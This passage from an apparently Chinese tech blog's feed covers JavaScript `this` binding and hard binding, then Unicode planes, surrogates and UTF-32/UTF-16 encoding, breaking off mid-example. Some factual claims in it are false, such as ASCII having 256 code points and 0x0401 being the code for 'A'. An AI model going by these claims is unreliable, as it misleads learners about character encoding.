&lt;p&gt;函数在Javascript国土一手遮天，侵入者是不是应该先跟它打个招呼呢？&lt;/p&gt;
&lt;h3 id=&quot;函数调用&quot;&gt;&lt;a href=&quot;#函数调用&quot; class=&quot;headerlink&quot; title=&quot;函数调用&quot;&gt;&lt;/a&gt;函数调用&lt;/h3&gt;&lt;p&gt;怎样去执行一个函数，在Javascript中大致有四种方式进函数调用。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;默认函数调用形式。&lt;/li&gt;
&lt;li&gt;对象方法调用形式。&lt;/li&gt;
&lt;li&gt;构造器调用形式。&lt;/li&gt;
&lt;li&gt;bind，call，apply调用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在此不做详述。&lt;/p&gt;
&lt;h3 id=&quot;this关键字&quot;&gt;&lt;a href=&quot;#this关键字&quot; class=&quot;headerlink&quot; title=&quot;this关键字&quot;&gt;&lt;/a&gt;this关键字&lt;/h3&gt;&lt;p&gt;函数中一个非常重要的概念就是this关键字，因为它的多变性，迷惑了一代又一代青年才俊。我们在一个函数中使用this，这个this指向哪里完全取决于函数执行时的调用方式。&lt;/p&gt;
&lt;p&gt;非严格模式下，默认调用方式指向全局对象，严格模式下指向undefined；对象方法调用形式指向对象本身；构造器调用形式指向实例化后的对象；bind、call、apply调用指向传递的上下文环境。优先级是：构造函数形式 &amp;gt; bind、call和apply &amp;gt; 方法调用 &amp;gt; 默认调用。例如：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; Fn = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;name&lt;/span&gt;) &lt;/span&gt;&amp;#123; &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.name = name; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; obj = &amp;#123;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Fn = Fn.bind(obj);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Fn(&lt;span class=&quot;string&quot;&gt;&#39;tomas&#39;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(obj.name); &lt;span class=&quot;comment&quot;&gt;// ‘tomas’&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; fn = &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; Fn(&lt;span class=&quot;string&quot;&gt;&#39;tomasran&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(obj.name); &lt;span class=&quot;comment&quot;&gt;// &#39;tomas&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(fn.name); &lt;span class=&quot;comment&quot;&gt;// &#39;tomasran&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;在上面的例子中，使用两种不同方式，执行被绑定了obj对象的函数Fn，第一次成功修改了obj.name值，因为Fn.bind(obj)使Fn执行时候的this指针绑定到了obj上；第二次采用构造函数调用，而结果obj.name的值并没有修改，这说明构造函数执行时内部的this指针并不是绑定到obj。结论不言而喻，在this指针的绑定上，构造函数的优先级大于bind、call、apply此类硬绑定的形式。&lt;/p&gt;
&lt;p&gt;无意中说漏了一个词：硬绑定。为此，不得不多增加一点篇幅解释一下。&lt;/p&gt;
&lt;h3 id=&quot;硬绑定&quot;&gt;&lt;a href=&quot;#硬绑定&quot; class=&quot;headerlink&quot; title=&quot;硬绑定&quot;&gt;&lt;/a&gt;硬绑定&lt;/h3&gt;&lt;p&gt;有一种常见的现象叫做绑定丢失。这是一个什么概念？举例来说，当我们有如下这段代码：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; obj = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  name: &lt;span class=&quot;string&quot;&gt;&#39;tomas&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  fn: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.name);&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; foo = obj.fn;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;foo(); &lt;span class=&quot;comment&quot;&gt;//  输出 &#39;undefined&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;如果我们直接调用obj.fn()，显然这是方法调用模式，this指向obj对象，输出为 ‘tomas’；但是现在我们并没有这样做，而是先将obj.fn赋给了一个变量foo，然后执行&lt;strong&gt;foo()&lt;/strong&gt;，之后，便惊奇地发现输出值并非我们所期望的。这是因为此时foo直接指向了obj.fn这个函数的内存地址，此时的调用形式是默认调用，这就是所谓的绑定丢失。如何解决？答案就是采用硬绑定：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; foo = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123; &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; obj.fn.apply(obj, &lt;span class=&quot;built_in&quot;&gt;arguments&lt;/span&gt;)&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;这样，调用 &lt;strong&gt;foo()&lt;/strong&gt; 就会执行绑定了obj对象的fn函数。ES5提供的bind方法就是为此需求而诞生的。&lt;/p&gt;
&lt;h3 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h3&gt;&lt;p&gt;关于函数，稍微絮叨了一番，累了，歇会儿。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;函数之重，重于泰山&quot;&gt;&lt;a href=&quot;#函数之重，重于泰山&quot; class=&quot;headerlink&quot; title=&quot;函数之重，重于泰山&quot;&gt;&lt;/a&gt;函数之重，重于泰山&lt;/h3&gt;&lt;p&gt;在Javascript中函数是一等公民。地为之重，可见一斑。那么它应该是有一些过人之处：&lt;/p&gt;
&lt;h4 id=&quot;函数式编程不可或缺&quot;&gt;&lt;a href=&quot;#函数式编程不可或缺&quot; class=&quot;headerlink&quot; title=&quot;函数式编程不可或缺&quot;&gt;&lt;/a&gt;函数式编程不可或缺&lt;/h4&gt;&lt;p&gt;Javascript是一门支持函数式编程的语言，当然这不是确立函数至尊地位的关键因素，毕竟支持函数式编程的语言不胜枚举。不过很明显，这种编程思想的核心是函数，举足轻重。&lt;/p&gt;
    
    </summary>
    
      <category term="Javascript" scheme="tomasran.space/category/Javascript/"/>
    
    
      <category term="硬绑定" scheme="tomasran.space/tags/%E7%A1%AC%E7%BB%91%E5%AE%9A/"/>
    
      <category term="绑定丢失" scheme="tomasran.space/tags/%E7%BB%91%E5%AE%9A%E4%B8%A2%E5%A4%B1/"/>
    
      <category term="this指针" scheme="tomasran.space/tags/this%E6%8C%87%E9%92%88/"/>
    
  </entry>
  
  <entry>
    <title>今日Unicode字符集及其编码方式</title>
    <link href="tomasran.space/archives/F4qs05oXDOsn0hPDjHJscg/"/>
    <id>tomasran.space/archives/F4qs05oXDOsn0hPDjHJscg/</id>
    <published>2016-07-31T05:04:39.000Z</published>
    <updated>2016-07-31T05:38:07.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;万事俱备，再唤东风&quot;&gt;&lt;a href=&quot;#万事俱备，再唤东风&quot; class=&quot;headerlink&quot; title=&quot;万事俱备，再唤东风&quot;&gt;&lt;/a&gt;万事俱备，再唤东风&lt;/h2&gt;&lt;p&gt;之前有讨论过关于字符编码的问题，如果对此毫无了解，可以去看看 &lt;a href=&quot;http://tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/&quot;&gt;关于字符集、编码字符集和字符编码&lt;/a&gt;，这里将不再强调一些基本的概念，而是想分析一下具体的字符集及其编码方式。我们的目标锁定在Unicode，话不多说，扬帆起航！&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h2 id=&quot;Unicode的设计目标&quot;&gt;&lt;a href=&quot;#Unicode的设计目标&quot; class=&quot;headerlink&quot; title=&quot;Unicode的设计目标&quot;&gt;&lt;/a&gt;Unicode的设计目标&lt;/h2&gt;&lt;p&gt;Unicode的诞生，基于人们希望能够拥有一个统一字符集以容纳世界上所有字符的念想。&lt;/p&gt;
&lt;p&gt;任何改革始于矛盾。在Unicode诞生之前，各个国家为了能够让自己的语言得到支持，大量的区域特定字符集被创造出来，即便是较为通用的ASCII码字符集也只是对拉丁字母的支持度较高，而对于大量的亚洲字符却无可奈何。这给计算机制造商带来的问题就是他们必须实现所有的字符编码方案来让他们的机器可以满足不同使用者的需求，使用多语言的时候还需要在各种编码方案之间进行来回切换着实令人懊恼。&lt;/p&gt;
&lt;p&gt;矛盾如此突出，也就很自然地催生出尽快统一字符集的想法。在这样的环境下，Unicode应运而生。&lt;/p&gt;
&lt;h2 id=&quot;Unicode的字符集编号&quot;&gt;&lt;a href=&quot;#Unicode的字符集编号&quot; class=&quot;headerlink&quot; title=&quot;Unicode的字符集编号&quot;&gt;&lt;/a&gt;Unicode的字符集编号&lt;/h2&gt;&lt;p&gt;Unicode字符集尽量覆盖了全世界已知的所有字符，并为未知的字符留下扩展空间，以下将做详述。&lt;/p&gt;
&lt;h3 id=&quot;编号空间-确定字符集的范围&quot;&gt;&lt;a href=&quot;#编号空间-确定字符集的范围&quot; class=&quot;headerlink&quot; title=&quot;编号空间 - 确定字符集的范围&quot;&gt;&lt;/a&gt;编号空间 - 确定字符集的范围&lt;/h3&gt;&lt;p&gt;Unicode字符集编号使用的数字码空间，从 0x0000 ~ 0x10FFFF，一共1,114,112个码点（就是具有标识意义、可与其建立映射关系的数字码）。书写形式是一个前缀“U+”，后面跟上对应的数字码，例如：U+0058 就是大写拉丁字母X的Unicode编号。&lt;/p&gt;
&lt;p&gt;注意：超过4位十六进制数，不能添加数字 “0” 为开头。例如： U+01000 是非法的格式（U+0100 合法）。&lt;/p&gt;
&lt;p&gt;具体可以查看 &lt;a href=&quot;http://unicode-table.com/en/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Unicode Character Table&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id=&quot;平面划分-可扩展的编号空间&quot;&gt;&lt;a href=&quot;#平面划分-可扩展的编号空间&quot; class=&quot;headerlink&quot; title=&quot;平面划分 - 可扩展的编号空间&quot;&gt;&lt;/a&gt;平面划分 - 可扩展的编号空间&lt;/h3&gt;&lt;p&gt;Unicode将它的编号空间划分成了17个平面。我们观察一下它的编号空间：0x0000 ~ 0x10FFFF，应该很容易得出结论，它就是按照高两位的不同划分了一共 0x00 ~ 0x10（一共17）个平面，每个平面包含 16&lt;sup&gt;4&lt;/sup&gt; = 65536 个码点。 &lt;/p&gt;
&lt;p&gt;其中 0x0000 ~ 0xFFFF 被称为基本多语种平面（Basic Multilingual Panel），基本多语种平面是几乎所有的现代语言字符以及大量符号的数值编码。基本多语种平面的字符用4位十六进制数就可以表示，而其余的十六个平面字符则需要5~6位十六进制数表示，称之为辅助多语种平面。下图是具体的划分：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/unicode%E5%B9%B3%E9%9D%A2%E5%88%92%E5%88%86.png&quot; alt=&quot;unicode编码平面划分表&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们现在所看到的Unicode字符集的编号方案已经是设计较为成熟的版本，其实Unicode诞生之初采用的是16-bit 去编号一个字符，因此提供的编码空间是 0x0000 ~ 0xFFFF，一共2&lt;sup&gt;16&lt;/sup&gt;（65536）个码点，也就是现在的基本多语种平面，涵盖了最为常用的字符。但是这显然是不够的，字符的数量在日益增长，需要对这个字符集进行扩充并且能够很好的兼容之前的版本，因此便就增加了16个延续在基本多语种平面之后的辅助多语种平面。&lt;/p&gt;
&lt;p&gt;那么，为什么需要进行平面划分呢？&lt;/p&gt;
&lt;p&gt;图书馆将书籍进行分类，当需要某种类别的书时直接去对应的书架上去找会节省不少时间。将Unicode字符集划分成为不同的平面也类似，Unicode字符集的17个平面对应了17张字符编号页，计算机可以根据字符编号的高两位的不同判断应该去查询哪个编号页，这意味着内存中只需载入这一张需要的编号页就可以，否则每次都要载入全部的字符编号无疑是一种内存浪费。如此的平面划分不仅具有良好的扩展性，也具备充分的兼容性。&lt;/p&gt;
&lt;h3 id=&quot;通用字符类型&quot;&gt;&lt;a href=&quot;#通用字符类型&quot; class=&quot;headerlink&quot; title=&quot;通用字符类型&quot;&gt;&lt;/a&gt;通用字符类型&lt;/h3&gt;&lt;p&gt;Unicode的每一个码点都有通用类别属性。主要的类别有：字母，标志，数字，标点，象征，分隔符和其它。这些分类可以再分割。但是并不是每一个字符都只能划分为一种通用类型。例如 U+000A 换行字符既属于控制符又属于分隔符。查看具体的 &lt;a href=&quot;http://www.fileformat.info/info/unicode/category/index.htm&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Unicode通用字符类型&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id=&quot;码点类型&quot;&gt;&lt;a href=&quot;#码点类型&quot; class=&quot;headerlink&quot; title=&quot;码点类型&quot;&gt;&lt;/a&gt;码点类型&lt;/h3&gt;&lt;p&gt;上面提到Unicode字符集对字符有不同的分类，而Unicode提供的码点，也是如此。&lt;/p&gt;
&lt;h4 id=&quot;高代理码点和低代理码点&quot;&gt;&lt;a href=&quot;#高代理码点和低代理码点&quot; class=&quot;headerlink&quot; title=&quot;高代理码点和低代理码点&quot;&gt;&lt;/a&gt;高代理码点和低代理码点&lt;/h4&gt;&lt;p&gt;在基本平面中，U+D800 ~ U+DBFF（1024个码点）这一码值范围被称为高代理码点，U+DC00 ~ U+DFFF（1024个码点）这一码值范围被称为低代理码点。&lt;/p&gt;
&lt;p&gt;在UTF-16编码方式（后面再做解释）中高代理码点后面紧接低代理码点便构成了一个代理对，它们代表了不在基本平面之中的1,048,576（1024 × 1024）个码点。&lt;/p&gt;
&lt;h4 id=&quot;非字符码点&quot;&gt;&lt;a href=&quot;#非字符码点&quot; class=&quot;headerlink&quot; title=&quot;非字符码点&quot;&gt;&lt;/a&gt;非字符码点&lt;/h4&gt;&lt;p&gt;在Unicode的码点范围中，还有一部分码点是非字符码点，它们不能用来对字符进行编码，它们的范围是：U+FDD0 ~ U+FDEF以及任何以FFFE、FFFF结尾的码值（例如1FFFF，1FFFE，10FFFF…）。这个非字符码值的数量是固定的，一共是66个，并且也不会再增加。&lt;/p&gt;
&lt;h4 id=&quot;保留码点&quot;&gt;&lt;a href=&quot;#保留码点&quot; class=&quot;headerlink&quot; title=&quot;保留码点&quot;&gt;&lt;/a&gt;保留码点&lt;/h4&gt;&lt;p&gt;就像很多编程语言中的保留字一样，Unicode码值空间也有一部分是保留码点，这部分码点可以用来映射字符但是目前还未使用。&lt;/p&gt;
&lt;h4 id=&quot;私有码点&quot;&gt;&lt;a href=&quot;#私有码点&quot; class=&quot;headerlink&quot; title=&quot;私有码点&quot;&gt;&lt;/a&gt;私有码点&lt;/h4&gt;&lt;p&gt;私有码点类似于关键字，但是Unicode标准并没有对此进行明确说明，因此这些字符交换需要发送方和接收方在它们的解释上达成共识。也就是说在接收方和发送方需要事先约定好这些私有字符而不是在接收到字符时从Unicode标准中去寻找解释，现在一共有三个私有码点区段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;U+E000 ~ U+F8FF（6400个码点）&lt;/li&gt;
&lt;li&gt;U+F0000 ~ U+FFFFD（65534个码点）&lt;/li&gt;
&lt;li&gt;U+100000 ~ U+10FFFD（65534个码点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上关于Unicode字符集编号做了一个较为详细的介绍，概念性的东西稍微多一点，下面就来一起探究一下Unicode的字符编码方式吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/relax-and-take-it-easy-orlando-espinosa.jpg&quot; alt=&quot;放轻松&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;Unicode的编码方式&quot;&gt;&lt;a href=&quot;#Unicode的编码方式&quot; class=&quot;headerlink&quot; title=&quot;Unicode的编码方式&quot;&gt;&lt;/a&gt;Unicode的编码方式&lt;/h2&gt;&lt;p&gt;在了解Unicode的编码方式之前，我们先拿ASCII码进行预热。&lt;/p&gt;
&lt;p&gt;我们知道，ASCII码字符集使用8个比特位进行编号，一共可以提供 2&lt;sup&gt;8&lt;/sup&gt; = 256 个码点。可见编号空间实在是很狭小。因此，ASCII码的编码方式就是简单地查询它的字符编号表，利用字符编号表的一一映射关系进行编解码。例如我们需要编码一个字符 “A”，查ASCII码表可得 “A” 的字符集编号是65，则直接将65的二进制形式 “0100 0001” 输出；解码以8-bit为分隔，进行逆向的查表过程，例如 “0100 0001 0100 0010” 以8-bit为划分可得 “0100 0001” 和 “0100 0010”，查表可得是字符 “A” 和 “B”。这就是单字节编码方案。&lt;/p&gt;
&lt;p&gt;那么在Unicode编码中，我们是否也可以采取这种方案？答案自然是否定的。&lt;/p&gt;
&lt;p&gt;Unicode庞大的字符集决定了它并不能采取单字节编码的方案。事实上，在Unicode诞生之初，仅有对基本多语种平面BMP（即编号空间为 0x0000 ~ 0xFFFF）的定义。而表示这一编号空间需要 2&lt;sup&gt;16&lt;/sup&gt;个码点，对应 16 / 8 = 2 个字节，因此，早期的Unicode采用的是二字节编码方案。&lt;/p&gt;
&lt;p&gt;如果Unicode止步于此，没有后续的扩展，似乎Unicode编码也能采用和ASCII码类似的方式，通过简单的查表法来进行编码和解码，只不过这次的分隔单位是16-bit。看上去没什么问题？其实即便如此也存在一些问题，每个字符都要写满两字节的长度就有点浪费了。例如我们只想存储字符 “A”，那么通过查表写入的二进制数据流将会是 “0000 0000 0100 0001”，有没有感觉到一点点冗长？&lt;/p&gt;
&lt;p&gt;当然了，真正的原因还是因为Unicode需要进行扩展，我们无法简单通过查表法就可以达到目的，并且，这种以字符集编号来映射二进制流的方式也让字符集编号和其编码方式过于耦合。&lt;/p&gt;
&lt;p&gt;Unicode扩展之后增加了16个辅助平面，编号空间从 0x0000 ~ 0x10FFFF，在编号空间范围内的二进制流的长度存在16位、20位、24位不等，这就很尴尬了，现在有一段二进制流数据 “0000 0010 0100 1001 0110 1110 1110 0001 0001”，想通过查表法找到指定的字符？先把这一段二进制数据做个分隔吧，采用多少位进行分隔？我并不知道，于是乎华丽丽地仆街了。&lt;/p&gt;
&lt;p&gt;鉴于此，我们需要寻找其它的编码方案来解决这个问题，不能仅仅依靠字符集编号这个一一映射关系，我们可以制定字符集编号与二进制流数据之间的转换规则，通过这个规则计算出字符编码后的值（编码）或者根据编码后的值找到对应字符（解码）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/06A28164-6C8F-4DE2-87C5-7DEAA193B662.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;那么接下来，就让我们接触一下现行Unicode的几种编码方案。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/300001217806130380788056240.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;UTF-32&quot;&gt;&lt;a href=&quot;#UTF-32&quot; class=&quot;headerlink&quot; title=&quot;UTF-32&quot;&gt;&lt;/a&gt;UTF-32&lt;/h3&gt;&lt;p&gt;UTF-32是固定编码长度的方案。它采用4个字节（这里一个字节视为8位）去映射一个Unicode字符集的码点。4个字节可以建立的映射关系已经远远超过Unicode字符集编号空间提供的码点数量，因此，UTF-32可以简单建立4个字节码和Unicode字符集码点的对应关系。&lt;/p&gt;
&lt;p&gt;相信很容易看出来，这和查表法的道理一样。时间复杂度o(1)，优点是很快。缺点也很明显，对于处于BMP平面的常用字符，全部采用32bit存储无疑是增加了大量的存储空间，造成浪费。&lt;/p&gt;
&lt;h3 id=&quot;UTF-16&quot;&gt;&lt;a href=&quot;#UTF-16&quot; class=&quot;headerlink&quot; title=&quot;UTF-16&quot;&gt;&lt;/a&gt;UTF-16&lt;/h3&gt;&lt;p&gt;UTF-32的编码方式简单粗暴。对于我等使用MacBook，而其硬盘价格已上天的屌丝男士来说，牺牲存储自然是不能忍受的方案。那么我们就来接触一下Unicode编码的第二种实现方式吧：UTF-16。&lt;/p&gt;
&lt;p&gt;我们的Unicode码点空间至少采用3个字节才能映射完全，2个字节不够用，4个字节又浪费，何其尴尬。UTF-16在这样的现实情况下，便萌生了揉合的想法：2个字节和4个字节我都采用，但是用它们表示的平面不一样。UTF-16将Unicode码点空间进行了划分，制定了具体的编码规则如下：&lt;/p&gt;
&lt;h4 id=&quot;U-0000-U-D7FF-和-U-E000-U-FFFF（包含首尾）&quot;&gt;&lt;a href=&quot;#U-0000-U-D7FF-和-U-E000-U-FFFF（包含首尾）&quot; class=&quot;headerlink&quot; title=&quot;U+0000 ~ U+D7FF 和 U+E000 ~ U+FFFF（包含首尾）&quot;&gt;&lt;/a&gt;U+0000 ~ U+D7FF 和 U+E000 ~ U+FFFF（包含首尾）&lt;/h4&gt;&lt;p&gt;对于这段码点空间，UTF-16采用16位二进制数对其进行编码，这16位二进制数和码点编号在数值上相等。举例来说明，会将 “U+B100” 编码为 “1011000100000000”，编码的值是十六进制0xB100的二进制形式。&lt;/p&gt;
&lt;h4 id=&quot;U-D800-U-DFFF（包含首尾）&quot;&gt;&lt;a href=&quot;#U-D800-U-DFFF（包含首尾）&quot; class=&quot;headerlink&quot; title=&quot;U+D800 ~ U+DFFF（包含首尾）&quot;&gt;&lt;/a&gt;U+D800 ~ U+DFFF（包含首尾）&lt;/h4&gt;&lt;p&gt;那么对于BMP平面，被遗忘的那一部分编码空间做什么用呢？&lt;/p&gt;
&lt;p&gt;Unicode标准将这段区间保留下来，为UTF-16编码提供高代理码点和低代理码点（这个概念前面有提及），并且处于这一区间的码点不会和具体的字符对应（在Unicode字符编号中 0x0401 对应了字符 “A”，而 0xD800 ~ 0xDFFF 之间的任何编号不会对应任何字符）。&lt;/p&gt;
&lt;p&gt;编码方式实际上是建立字符和二进制流的映射关系。&lt;/p&gt;
&lt;h4 id=&quot;U-10000-U-10FFFF（包含首尾）&quot;&gt;&lt;a href=&quot;#U-10000-U-10FFFF（包含首尾）&quot; class=&quot;headerlink&quot; title=&quot;U+10000 ~ U+10FFFF（包含首尾）&quot;&gt;&lt;/a&gt;U+10000 ~ U+10FFFF（包含首尾）&lt;/h4&gt;&lt;p&gt;码点空间还剩下哪些呢？自然是其余16个辅助平面。&lt;/p&gt;
&lt;h5 id=&quot;UTF-16-代理对的计算方式&quot;&gt;&lt;a href=&quot;#UTF-16-代理对的计算方式&quot; class=&quot;headerlink&quot; title=&quot;UTF-16 代理对的计算方式&quot;&gt;&lt;/a&gt;UTF-16 代理对的计算方式&lt;/h5&gt;&lt;p&gt;这16个辅助平面被两个16-bit的编码单元组成的代理对所表示。先贴出编码的计算方法，然后以一个具体的实例去解读：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;用辅助平面的码位减去 0x10000（结果是在 0 ~ 0xFFFFF 之内的20-bit长的值）；&lt;/li&gt;
&lt;li&gt;将上面的计算结果以10位为分隔划分为两部分（易于计算，每一部分值的范围在 0 ~ 0x3FF 之间）；&lt;/li&gt;
&lt;li&gt;高位的10比特的值加上 0xD800 得到第一个码元或称作高位代理（high surrogate），值的范围是 0xD800 ~ 0xDBFF；&lt;/li&gt;
&lt;li&gt;低位的10比特的值加上 0xDC00 得到第二个码元或称作低位代理（low surrogate），现在值的范围是 0xDC00 ~ 0xDFFF。&lt;/li&gt;
&lt;li&gt;组合高低位，构成代理对&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h5 id=&quot;来看一个栗子&quot;&gt;&lt;a href=&quot;#来看一个栗子&quot; class=&quot;headerlink&quot; title=&quot;来看一个栗子&quot;&gt;&lt;/a&gt;来看一个栗子&lt;/h5&gt;&lt;p&gt;看到以上计算方法是否能够豁然开朗呢？至少知道了高代理码点和低代理码点的由来和这样称呼的原因吧。现在就通过一个例子来清晰这个计算过程：&lt;/p&gt;
&lt;p&gt;假设现在我们需要将Unicode字符集中的 “U+1CCCC” 进行编码，计算过程：&lt;/p&gt;
&lt;p&gt;步骤一：减去0x10000 &lt;/p&gt;
&lt;figure class=&quot;highlight x86asm&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;number&quot;&gt;0x1CCCC&lt;/span&gt; - &lt;span class=&quot;number&quot;&gt;0x10000&lt;/span&gt; = &lt;span class=&quot;number&quot;&gt;0xCCCC&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤二：划分高低位&lt;/p&gt;
&lt;figure class=&quot;highlight dns&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;xCCCC的二进制形式：&lt;span class=&quot;number&quot;&gt;0000 1100&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1100 1100&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1100&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;高&lt;span class=&quot;number&quot;&gt;10&lt;/span&gt;位：&lt;span class=&quot;number&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;0011 0011&lt;/span&gt;  =&amp;gt;  &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;x33&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;低&lt;span class=&quot;number&quot;&gt;10&lt;/span&gt;位：&lt;span class=&quot;number&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1100 1100&lt;/span&gt;  =&amp;gt;  &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;xCC&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤三：计算高位&lt;/p&gt;
&lt;figure class=&quot;highlight x86asm&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;number&quot;&gt;0x33&lt;/span&gt; + &lt;span class=&quot;number&quot;&gt;0xD800&lt;/span&gt; = &lt;span class=&quot;number&quot;&gt;0xD833&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤四：计算低位&lt;/p&gt;
&lt;figure class=&quot;highlight x86asm&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;number&quot;&gt;0xCC&lt;/span&gt; + &lt;span class=&quot;number&quot;&gt;0xDC00&lt;/span&gt; = &lt;span class=&quot;number&quot;&gt;0xDCCC&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤五：组合&lt;/p&gt;
